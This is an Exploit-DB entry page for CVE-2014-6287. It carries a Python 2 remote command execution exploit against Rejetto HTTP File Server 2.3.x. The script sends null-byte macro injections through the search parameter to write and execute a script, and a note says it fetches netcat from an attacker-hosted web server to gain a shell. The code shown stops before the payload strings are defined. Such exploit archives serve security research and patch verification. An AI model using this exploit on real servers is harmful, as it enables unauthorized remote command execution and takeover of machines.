

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)

EDB-ID:

39161

CVE:

2014-6287

Author:

AVINASH THAPA

Type:

REMOTE

Platform:

WINDOWS



Date:

2016-01-04


EDB Verified:


✓


Exploit:

 / 

Vulnerable App:









This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website.

Use necessary cookies only Allow all cookies

Show details

```
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#             It's different from classic file sharing because it uses web technology to be more compatible
with today's Internet.
#             It also differs from classic web servers because it's very easy to use and runs "right out-of-
the box". Access your remote files, over the network. It has been successfully tested with Wine under
Linux.

#Usage : python Exploit.py <Target IP address> <Target Port Number>

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).
#         You may need to run it multiple times for success!

import urllib2
import sys

try:
    def script_create():
        urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] + "/?search=%00{.+" + save + ".}")

    def execute_script():
        urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] + "/?search=%00{.+" + exe + ".}")

    def nc_run():
        urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] + "/?search=%00{.+" + exe1 + ".}")

ip_addr = "192.168.44.128" #local IP address
```